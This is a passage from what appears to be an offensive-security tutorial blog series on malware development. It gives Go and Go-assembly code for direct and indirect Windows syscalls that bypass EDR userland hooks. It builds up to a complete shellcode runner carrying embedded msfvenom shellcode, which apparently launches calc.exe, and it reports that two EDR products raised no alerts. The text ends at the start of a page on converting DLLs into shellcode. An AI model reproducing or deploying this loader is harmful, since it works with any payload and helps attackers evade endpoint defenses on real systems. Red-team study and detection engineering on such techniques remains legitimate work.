https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx MOVQ CX, X0 MOVQ DX, X1 MOVQ R8, X2 MOVQ R9, X3 //MOVW callid+0(FP), AX MOVQ CX, R10 SYSCALL ADDQ $((maxargs+1)*8), SP // Return result. POPQ CX MOVL AX, errcode+32(FP) RET Before we dive into the assembly let's not the main differences between Go Asm and what we will see in windbg (intel syntax) goASM Intel Parameter order Copy SUBQ $8, SP Source before the destination. Copy SUB RSP, 8 Destination before source. Address names All registers are 64 bit, but instructions access low-order 8, 16 and 32 bits. For example, MOVL to AX puts a value in the low-order 32 bits and clears the top 32 bits to zero. * `RAX` is the 64-bit general-purpose register. * `EAX` is the 32-bit general-purpose register, and in 64-bit mode, it's the lower 32 bits of `RAX`. * `AX` is the 16-bit version of the register, and in 64-bit mode, it's the lower 16 bits of `RAX`. The function receives a uint16 as an argument. That is the SSN of the syscall we want to perform. The rest of the uintptrs are the arguments passed to the function * Line 5 sets the RAX register to 0 by performing the xor operation. * Line 6 moves the value of the first argument to RAX essentially recreating the `mov eax,33` we have seen in the ntdll exported functions. * Line 7 takes the number of arguments into RCX. * Lines 17-45: It basically checks how many arguments were passed to the function and follows the [x64 calling convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) . First 4 arguments passed to the registers RCX, RDX,R8,R9 and the rest are stored in the stack. * Line 46 is where the syscall instruction is called. **The indirect syscall function is very similar:** Copy // func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) uint32 TEXT ·execIndirectSyscall(SB),NOSPLIT, $0-40 XORQ AX, AX MOVW ssn+0(FP), AX XORQ R11, R11 MOVQ trampoline+8(FP), R11 PUSHQ CX //put variadic pointer into SI MOVQ argh_base+16(FP),SI //put variadic size into CX MOVQ argh_len+24(FP),CX // SetLastError(0). MOVQ 0x30(GS), DI MOVL $0, 0x68(DI) // room for args SUBQ $(maxargs*8), SP //no parameters, special case CMPL CX, $0 JLE jumpcall // Fast version, do not store args on the stack. CMPL CX, $4 JLE loadregs // Check we have enough room for args. CMPL CX, $maxargs JLE 2(PC) // not enough room -> crash INT $3 // Copy args to the stack. MOVQ SP, DI CLD REP; MOVSQ MOVQ SP, SI loadregs: // Load first 4 args into correspondent registers. MOVQ 0(SI), CX MOVQ 8(SI), DX MOVQ 16(SI), R8 MOVQ 24(SI), R9 // Floating point arguments are passed in the XMM registers // Set them here in case any of the arguments are floating point values. // For details see: https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx MOVQ CX, X0 MOVQ DX, X1 MOVQ R8, X2 MOVQ R9, X3 jumpcall: MOVQ CX, R10 //jump to syscall;ret gadget address instead of direct syscall CALL R11 ADDQ $((maxargs)*8), SP // Return result POPQ CX MOVL AX, errcode+40(FP) RET The main differences are: * In addition to the ssn it receives a trampoline argument which is the address of the `syscall;ret;` located in ntdll.dll * Line 7: The trampoline addess is stored in R11 register * Line 65: Instead of syscall of using the syscall instruction we use the `CALL R11` instruction that calls the syscall in ntdll.dll #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#wrapper-functions-for-our-assembly-functions) Wrapper Functions for our assembly functions In order to be able to call the assembly functions in go we need to save them in the same directory as our code. Since our functions will only work on x64 the name should end with _amd64.s. If a 32bit implementation of the function was present we would have to create a separate file ending with \__i386.s . That's letting the compiler know the architecture of the assembly functions. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FL4gRVvY0gxFrZ2YlYW7W%252Fimage.png%3Falt%3Dmedia%26token%3Ddad1f7dd-4ea3-48cc-b339-29ac4f39ac77&width=768&dpr=4&quality=100&sign=2dba104&sv=2) Adding the assembly functions in the project directory In our code we should also define the functions without a body Copy func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) (errcode uint32) func bpSyscall(ssn uint16, argh ...uintptr) (errcode uint32) That's all needed before we can call the functions. We will then write a wrapper function that receives the ntapi function as a string and the function arguments. It will then resolve the ssn and trampoline as needed before calling our assembly function. Copy func (dll *dllstruct) IndirectSyscall(ntapi string, argh ...uintptr) (errcode uint32, err error) { var ssn uint16 = 0 var trampoline uintptr = 0 if strings.HasPrefix(ntapi, "Nt") { for _, fun := range dll.exportedNtFunctions { if fun.name == ntapi { ssn = fun.syscallno trampoline = fun.trampoline break } } } else if strings.HasPrefix(ntapi, "Zw") { for _, fun := range dll.exportedZwFunctions { if fun.name == ntapi { ssn = fun.syscallno trampoline = fun.trampoline break } } } else { return 0, fmt.Errorf("Invalid NT Api function\n") } if ssn == 0 && trampoline == 0 { return 0, fmt.Errorf("Invalid NT Api function\n") } fmt.Printf("Calling Indirect syscall: %s SSN: %x Trampoline: %x\n", ntapi, ssn, trampoline) errcode = execIndirectSyscall(ssn, trampoline, argh...) if errcode != 0 { err = fmt.Errorf("non-zero return from syscall") } return errcode, err } #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#shellcode-runner-code) Shellcode Runner code In order to create our shellcode runner the following native APIs should be called: 1. [NtAllocateVirtualMemory](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory) (== VirtualAlloc) 2. rtlMoveMemory 3. [NtProtectVirtualMemory](https://www.pinvoke.net/default.aspx/ntdll/NtProtectVirtualMemory.html) (== VirtualProtect) 4. [NtCreateThreadEx](http://pinvoke.net/default.aspx/ntdll/NtCreateThreadEx.html) (==CreateThread) Let's write the functions one by one. At this point using direct or indirect syscalls has no difference at all. We just have to call the respective function(IndirectSyscall or Syscall) and the code will do the work for us. We will run both implementations against openEDR and elasticEDR to see if any alerts are generated. Let's create a wrapper function for each ntAPI [**NtAllocateVirtualMemory**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory) The arguments passed are identical to the VirtualAlloc function (which is not always the case). Copy func (dll *dllstruct) NtAllocateVirtualMemorySyscall(ntapi string, handle uintptr, length uintptr, alloctype int, protect int) (uintptr, error) { /* __kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory( [in] HANDLE ProcessHandle, 1 [in, out] PVOID *BaseAddress, 2 [in] ULONG_PTR ZeroBits, 3 [in, out] PSIZE_T RegionSize, 4 [in] ULONG AllocationType,5 [in] ULONG Protect 6 );*/ // syscall for NtAllocateVirtualMemory var BaseAddress uintptr err1, err := dll.IndirectSyscall( ntapi, uintptr(unsafe.Pointer(handle)), //1 uintptr(unsafe.Pointer(&BaseAddress)), //2 0, //3 uintptr(unsafe.Pointer(&length)), //4 uintptr(alloctype), //5 uintptr(protect), //6 ) if err != nil { return 0, fmt.Errorf("1 %s %x\n", err, err1) } return BaseAddress, nil } The allocated address is stored at the BaseAddress variable defined before the syscall. The easiest way to debug if our stack / registers are correct before the syscall is to set up a break point just before the syscall. An easy way to find the address of a function in golang is using the following code which prints the address of the IndirectSyscall() in memory. The the sleep function will give us enough time to attach to process and set our breakpoints. Copy var ptr uintptr = reflect.ValueOf(IndirectSyscall).Pointer() fmt.Printf("0x%x", ptr) time.Sleep(30*time.Second) In the main function we add the following code to call our wrapper function: Copy pHandle := windows.CurrentProcess() addr, err := dll.NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", uintptr(pHandle), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatalf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err) } fmt.Printf(" [+] Allocated Memory Address: 0x%x\n", addr) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fdo1ua7UxLQUxqRqo9DV1%252Fimage.png%3Falt%3Dmedia%26token%3D4693a015-5273-49c9-93f7-7d91e772cb8d&width=768&dpr=4&quality=100&sign=135a5fcc&sv=2) We have the memory allocated at 0x2ab19810000 **rtlMoveMemory** We can use the rtlMoveMemory function to copy the bytes stored in the sc slice to the allocated memory. Copy sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500") modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[!] Wrote shellcode bytes to destination address") [**NtProtectVirtualMemory**](https://www.pinvoke.net/default.aspx/ntdll/NtProtectVirtualMemory.html) We then use this native api to adjust the memory permissions to RX. Copy func (dll *dllstruct) NtProtectVirtualMemory(ntapi string, handle, addr uintptr, size uintptr, flNewProtect uintptr, lpflOldProtect uintptr) error { err1, err := dll.IndirectSyscall( ntapi, handle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&size)), flNewProtect, lpflOldProtect, ) if err != nil { return fmt.Errorf("1 %s %x\n", err, err1) } fmt.Println(" [+] Changed memory permissions to PAGE_EXECUTE_READ") return nil } In the main function we add this piece of code to Copy err = dll.NtProtectVirtualMemory("NtProtectVirtualMemory", uintptr(pHandle), addr, uintptr(len(sc)), uintptr(windows.PAGE_EXECUTE_READ), uintptr(unsafe.Pointer(&oldProtect))) if err != nil { log.Fatalf("NtProtectVirtualMemory Failed: %v", err) } ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FflIyyHRFzF1zNVid9fLV%252Fimage.png%3Falt%3Dmedia%26token%3D7b1c94f8-3009-47ae-9684-8e53579a4fea&width=768&dpr=4&quality=100&sign=28b81649&sv=2) Memory permissions changed successfuly [**NtCreateThreadEx**](http://pinvoke.net/default.aspx/ntdll/NtCreateThreadEx.html) The last and final step before is to create a thread pointing to our shellcode. Copy func (dll *dllstruct) NtCreateThreadEx(ntapi string, handle, BaseAddress uintptr) (uintptr, error) { /* typedef NTSTATUS(NTAPI* pNtCreateThreadEx) ( OUT PHANDLE hThread, 1 IN ACCESS_MASK DesiredAccess, 2 IN PVOID ObjectAttributes, 3 IN HANDLE ProcessHandle, 4 IN PVOID lpStartAddress, 5 IN PVOID lpParameter, 6 IN ULONG Flags, 7 IN SIZE_T StackZeroBits, 8 IN SIZE_T SizeOfStackCommit, 9 IN SIZE_T SizeOfStackReserve, 10 OUT PVOID lpBytesBuffer 11 ); */ var hThread uintptr DesiredAccess := uintptr(0x1FFFFF) err1, err := dll.IndirectSyscall( ntapi, uintptr(unsafe.Pointer(&hThread)), //1 DesiredAccess, //2 0, //3 uintptr(unsafe.Pointer(handle)), //4 uintptr(unsafe.Pointer(BaseAddress)), //5 0, //6 uintptr(0), //7 0, //8 0, //9 0, //10 0, //11 ) if err != nil { return 0, fmt.Errorf("1 %s %x\n", err, err1) } fmt.Printf(" [+] Thread Handle: 0x%v\n", hThread) syscall.WaitForSingleObject(syscall.Handle(hThread), 0xffffffff) return hThread, nil } And in the main function: Copy _, err = dll.NtCreateThreadEx("NtCreateThreadEx", uintptr(pHandle), addr) if err != nil { log.Fatalf("NtCreateThreadEx: Failed to create remote thread %v\n", err) } ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FJcrqSrpiLJp2xZKdIICm%252Fimage.png%3Falt%3Dmedia%26token%3D21192a70-7bbc-478b-8a56-ff3cc67ff0ed&width=768&dpr=4&quality=100&sign=1ec0d1d0&sv=2) Thread created and returned the handle ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#detections) Detections ? Using the default rules none of the EDRs generated any alerts other than the process creation. #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#openedr-22-09-2023) OpenEDR **(22-09-2023)** ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FCJeTlWsIq59d0kNh3FTV%252Fimage.png%3Falt%3Dmedia%26token%3D57ce317c-a41d-4a80-a478-72dfcf354b6a&width=768&dpr=4&quality=100&sign=e9a837f8&sv=2) Succesfully executed without generating any alerts **ElasticEDR (22-09-2023)** ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FAgVDnmev74ps8dcQqDsY%252Fimage.png%3Falt%3Dmedia%26token%3D29179d9e-0c52-4b11-9723-38da133ddb06&width=768&dpr=4&quality=100&sign=3372dcc5&sv=2) Succesfully executed without generating any alerts ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#complete-code) Complete Code Ideally the syscall functionality should be turned into a package and then imported wherever needed. Copy package main import ( "encoding/hex" "fmt" "log" "slices" "sort" "strings" "syscall" "unsafe" "github.com/jedib0t/go-pretty/v6/table" "golang.org/x/sys/windows" ) type IMAGE_EXPORT_DIRECTORY struct { //offsets Characteristics uint32 // 0x0 TimeDateStamp uint32 // 0x4 MajorVersion uint16 // 0x8 MinorVersion uint16 // 0xa Name uint32 // 0xc Base uint32 // 0x10 NumberOfFunctions uint32 // 0x14 NumberOfNames uint32 // 0x18 AddressOfFunctions uint32 // 0x1c AddressOfNames uint32 // 0x20 AddressOfNameOrdinals uint32 // 0x24 } type Exportfunc struct { funcRVA uint32 // relative address to the base address of the dll functionAddress uintptr // absolute address name string // name of the exported function syscallno uint16 // SSN trampoline uintptr // syscall ;ret; address location isHooked bool // Is the function hooked? } type dllstruct struct { name string address uintptr exportDirectoryAddress uintptr exportDirectory IMAGE_EXPORT_DIRECTORY exportedNtFunctions []Exportfunc exportedZwFunctions []Exportfunc } func main() { dll, err := GetStructOfLoadedDll("ntdll.dll") if err != nil { log.Fatalln(err) } dll.getExportTableAddress() dll.GetImageExportDirectory() dll.GetModuleExports() dll.UnhookFuncs() //// Shellcode runner ///// //msfvenom -p windows/x64/exec CMD=calc.exe -f hex sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500") modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") /* 1. NtAllocateVirtualMemory == VirtualAlloc 2. rtlMoveMemory 3. NtProtectVirtualMemory == VirtualProtect 4. NtCreateThreadEx == CreateThread */ pHandle := windows.CurrentProcess() addr, err := dll.NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", uintptr(pHandle), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatalf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err) } fmt.Printf(" [+] Allocated Memory Address: 0x%x\n", addr) procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[!] Wrote shellcode bytes to destination address") var oldProtect uint32 err = dll.NtProtectVirtualMemory("NtProtectVirtualMemory", uintptr(pHandle), addr, uintptr(len(sc)), uintptr(windows.PAGE_EXECUTE_READ), uintptr(unsafe.Pointer(&oldProtect))) if err != nil { log.Fatalf("NtProtectVirtualMemory Failed: %v", err) } _, err = dll.NtCreateThreadEx("NtCreateThreadEx", uintptr(pHandle), addr) if err != nil { log.Fatalf("NtCreateThreadEx: Failed to create remote thread %v\n", err) } } func (dll *dllstruct) NtCreateThreadEx(ntapi string, handle, BaseAddress uintptr) (uintptr, error) { /* typedef NTSTATUS(NTAPI* pNtCreateThreadEx) ( OUT PHANDLE hThread, 1 IN ACCESS_MASK DesiredAccess, 2 IN PVOID ObjectAttributes, 3 IN HANDLE ProcessHandle, 4 IN PVOID lpStartAddress, 5 IN PVOID lpParameter, 6 IN ULONG Flags, 7 IN SIZE_T StackZeroBits, 8 IN SIZE_T SizeOfStackCommit, 9 IN SIZE_T SizeOfStackReserve, 10 OUT PVOID lpBytesBuffer 11 ); */ var hThread uintptr DesiredAccess := uintptr(0x1FFFFF) err1, err := dll.Syscall( ntapi, uintptr(unsafe.Pointer(&hThread)), //1 DesiredAccess, //2 0, //3 uintptr(unsafe.Pointer(handle)), //4 uintptr(unsafe.Pointer(BaseAddress)), //5 0, //6 uintptr(0), //7 0, //8 0, //9 0, //10 0, ) if err != nil { return 0, fmt.Errorf("1 %s %x\n", err, err1) } fmt.Printf(" [+] Thread Handle: 0x%v\n", hThread) syscall.WaitForSingleObject(syscall.Handle(hThread), 0xffffffff) return hThread, nil } func (dll *dllstruct) NtProtectVirtualMemory(ntapi string, handle, addr uintptr, size uintptr, flNewProtect uintptr, lpflOldProtect uintptr) error { err1, err := dll.Syscall( ntapi, handle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&size)), flNewProtect, lpflOldProtect, ) if err != nil { return fmt.Errorf("1 %s %x\n", err, err1) } fmt.Println(" [+] Changed memory permissions to PAGE_EXECUTE_READ") return nil } func (dll *dllstruct) NtAllocateVirtualMemorySyscall(ntapi string, handle uintptr, length uintptr, alloctype int, protect int) (uintptr, error) { /* __kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory( [in] HANDLE ProcessHandle, 1 [in, out] PVOID *BaseAddress, 2 [in] ULONG_PTR ZeroBits, 3 [in, out] PSIZE_T RegionSize, 4 [in] ULONG AllocationType,5 [in] ULONG Protect 6 );*/ // syscall for NtAllocateVirtualMemory var BaseAddress uintptr err1, err := dll.Syscall( ntapi, uintptr(unsafe.Pointer(handle)), //1 uintptr(unsafe.Pointer(&BaseAddress)), //2 0, //3 uintptr(unsafe.Pointer(&length)), //4 uintptr(alloctype), //5 uintptr(protect), //6 ) if err != nil { return 0, fmt.Errorf("1 %s %x\n", err, err1) } return BaseAddress, nil } func (dll *dllstruct) Syscall(ntapi string, argh ...uintptr) (errcode uint32, err error) { var ssn uint16 = 0 if strings.HasPrefix(ntapi, "Nt") { for _, fun := range dll.exportedNtFunctions { if fun.name == ntapi { ssn = fun.syscallno break } } } else if strings.HasPrefix(ntapi, "Zw") { for _, fun := range dll.exportedZwFunctions { if fun.name == ntapi { ssn = fun.syscallno break } } } else { return 0, fmt.Errorf("Invalid NT Api function\n") } if ssn == 0 { return 0, fmt.Errorf("Invalid NT Api function\n") } fmt.Printf("[!] Calling direct syscall: %s SSN: 0x%x \n", ntapi, ssn) errcode = bpSyscall(ssn, argh...) if errcode != 0 { err = fmt.Errorf("non-zero return from syscall") } return errcode, err } func (dll *dllstruct) IndirectSyscall(ntapi string, argh ...uintptr) (errcode uint32, err error) { var ssn uint16 = 0 var trampoline uintptr = 0 if strings.HasPrefix(ntapi, "Nt") { for _, fun := range dll.exportedNtFunctions { if fun.name == ntapi { ssn = fun.syscallno trampoline = fun.trampoline break } } } else if strings.HasPrefix(ntapi, "Zw") { for _, fun := range dll.exportedZwFunctions { if fun.name == ntapi { ssn = fun.syscallno trampoline = fun.trampoline break } } } else { return 0, fmt.Errorf("Invalid NT Api function\n") } if ssn == 0 && trampoline == 0 { return 0, fmt.Errorf("Invalid NT Api function\n") } fmt.Printf("[!] Calling Indirect syscall: %s SSN: 0x%x Trampoline: %x\n", ntapi, ssn, trampoline) errcode = execIndirectSyscall(ssn, trampoline, argh...) if errcode != 0 { err = fmt.Errorf("non-zero return from syscall") } return errcode, err } func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) (errcode uint32) func bpSyscall(ssn uint16, argh ...uintptr) (errcode uint32) func (dll *dllstruct) PrintExports() { noPrint := []string{"NtQuerySystemTime", "ZwQuerySystemTime"} tNt := table.NewWriter() tNt.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"}) for i, fun := range dll.exportedNtFunctions { if slices.Contains(noPrint, fun.name) { continue } tNt.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked}) } tZw := table.NewWriter() tZw.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"}) for i, fun := range dll.exportedZwFunctions { if slices.Contains(noPrint, fun.name) { continue } tZw.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked}) } fmt.Println(tNt.Render()) fmt.Println(tZw.Render()) } func (dll *dllstruct) UnhookFuncs() { for i, fun := range dll.exportedNtFunctions { if fun.isHooked { dll.exportedNtFunctions[i].syscallno = dll.exportedNtFunctions[i-1].syscallno + 1 dll.exportedNtFunctions[i].isHooked = false } } for i, fun := range dll.exportedZwFunctions { if fun.isHooked { dll.exportedZwFunctions[i].syscallno = dll.exportedZwFunctions[i-1].syscallno + 1 dll.exportedZwFunctions[i].isHooked = false } } } func (fun *Exportfunc) GetSyscallNumbers(address uintptr) { funcbytes := (*[5]byte)(unsafe.Pointer(fun.functionAddress))[:] if funcbytes[0] == 0x4c && funcbytes[1] == 0x8b && funcbytes[2] == 0xd1 && funcbytes[3] == 0xb8 { // Check if the function is hooked. fun.syscallno = *(*uint16)(unsafe.Pointer(&funcbytes[4])) // Get Syscall Number fun.isHooked = false } else { fun.syscallno = 0xffff // when hooked set the syscall number 0xff fun.isHooked = true } //fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno) } func (dll *dllstruct) GetModuleExports() { exclusions := []string{"NtdllDefWindowProc_A", "NtdllDefWindowProc_W", "NtdllDialogWndProc_A", "NtdllDialogWndProc_W", "NtGetTickCount"} var absAddress uintptr for i := 0; i < int(dll.exportDirectory.NumberOfNames); i++ { funcRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfFunctions) + uintptr((i+1)*0x4))))) nameRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfNames) + uintptr(i*0x4))))) nameAddr := dll.address + uintptr(nameRVA) nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:] name := windows.BytePtrToString(&nameRVAbyte[0]) absAddress = dll.address + uintptr(funcRVA) for j := 0; j < 100; j++ { if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f { if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 { if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 { break } } } absAddress += 1 } if strings.HasPrefix(name, "Nt") && !slices.Contains(exclusions, name) { funcExp := Exportfunc{ funcRVA: funcRVA, functionAddress: dll.address + uintptr(funcRVA), name: name, trampoline: absAddress, } funcExp.GetSyscallNumbers(dll.address) dll.exportedNtFunctions = append(dll.exportedNtFunctions, funcExp) } if strings.HasPrefix(name, "Zw") { funcExp := Exportfunc{ funcRVA: funcRVA, functionAddress: dll.address + uintptr(funcRVA), name: name, trampoline: absAddress, } funcExp.GetSyscallNumbers(dll.address) dll.exportedZwFunctions = append(dll.exportedZwFunctions, funcExp) } } sort.SliceStable(dll.exportedNtFunctions, func(i, j int) bool { return (dll.exportedNtFunctions)[i].funcRVA < (dll.exportedNtFunctions)[j].funcRVA }) sort.SliceStable(dll.exportedZwFunctions, func(i, j int) bool { return (dll.exportedZwFunctions)[i].funcRVA < (dll.exportedZwFunctions)[j].funcRVA }) } // Get Image Export directory. We are interested in // - AddressofFunctions // - AddressOfNames // - AddressOFNameOrdinals (maybe in the future) // - Number of functions func (dll *dllstruct) GetImageExportDirectory() { dll.exportDirectory.Characteristics = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress))) dll.exportDirectory.TimeDateStamp = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x4))) dll.exportDirectory.MajorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0x8))) dll.exportDirectory.MinorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0xa))) dll.exportDirectory.Name = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0xc))) dll.exportDirectory.Base = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x10))) dll.exportDirectory.NumberOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x14))) dll.exportDirectory.NumberOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x18))) dll.exportDirectory.AddressOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x1c))) dll.exportDirectory.AddressOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x20))) dll.exportDirectory.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x24))) } func (dll *dllstruct) getExportTableAddress() uintptr { e_lfanew := *((*uint32)(unsafe.Pointer(dll.address + 0x3c))) ntHeader := dll.address + uintptr(e_lfanew) fileHeader := ntHeader + 0x4 // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct exportDir := optionalHeader + 0x70 // offset to export table exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir))) dll.exportDirectoryAddress = dll.address + uintptr(exportDirOffset) return dll.exportDirectoryAddress } func GetStructOfLoadedDll(name string) (dllstruct, error) { modules := ListDllFromPEB() for _, module := range modules { if module.name == name { return module, nil } } return dllstruct{}, fmt.Errorf("dll not Found") } func PrintModules() { t := table.NewWriter() fmt.Printf("---------------------------------------------\nLoaded modules in current process\n") t.AppendHeader(table.Row{"#", "DLL Name", "Address"}) for i, module := range ListDllFromPEB() { t.AppendRow(table.Row{i, module.name, fmt.Sprintf("0x%x", module.address)}) } fmt.Println(t.Render()) } // adds all loaded modules and their base addresses in a slice func ListDllFromPEB() []dllstruct { peb := windows.RtlGetCurrentPeb() moduleList := peb.Ldr.InMemoryOrderModuleList a := moduleList.Flink loadedModules := []dllstruct{} for { listentry := uintptr(unsafe.Pointer(a)) // -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure // +0x30 Dllbase address // +0x58 +0x8 address holding the address pointing to base dllname // offsets different for 32-bit processes DllBase := uintptr(listentry) - 0x10 + 0x30 BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8 v := *((*uintptr)(unsafe.Pointer(BaseDllName))) //fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16 dllNameStr := windows.UTF16PtrToString(s) if dllNameStr == "" { break } dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase))) //fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr loadedModules = append(loadedModules, dllstruct{ name: dllNameStr, address: dllbaseaddr, exportDirectoryAddress: 0, exportDirectory: IMAGE_EXPORT_DIRECTORY{Characteristics: 0, TimeDateStamp: 0, MajorVersion: 0, MinorVersion: 0, Name: 0, Base: 0, NumberOfFunctions: 0, NumberOfNames: 0, AddressOfFunctions: 0, AddressOfNames: 0, AddressOfNameOrdinals: 0}, exportedNtFunctions: []Exportfunc{}, exportedZwFunctions: []Exportfunc{}, }) a = a.Flink } return loadedModules } Last updated 1 year ago Was this helpful? --- # 3. Transforming DLLs into Shellcode | Malware Development [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#introduction) Introduction ----------------------------------------------------------------------------------------------------------------------------------- A common technique used in offensive security is reflectively loading dlls in memory in order to spawn a beacon or to add functionality to an already existing implant. In some ways this is 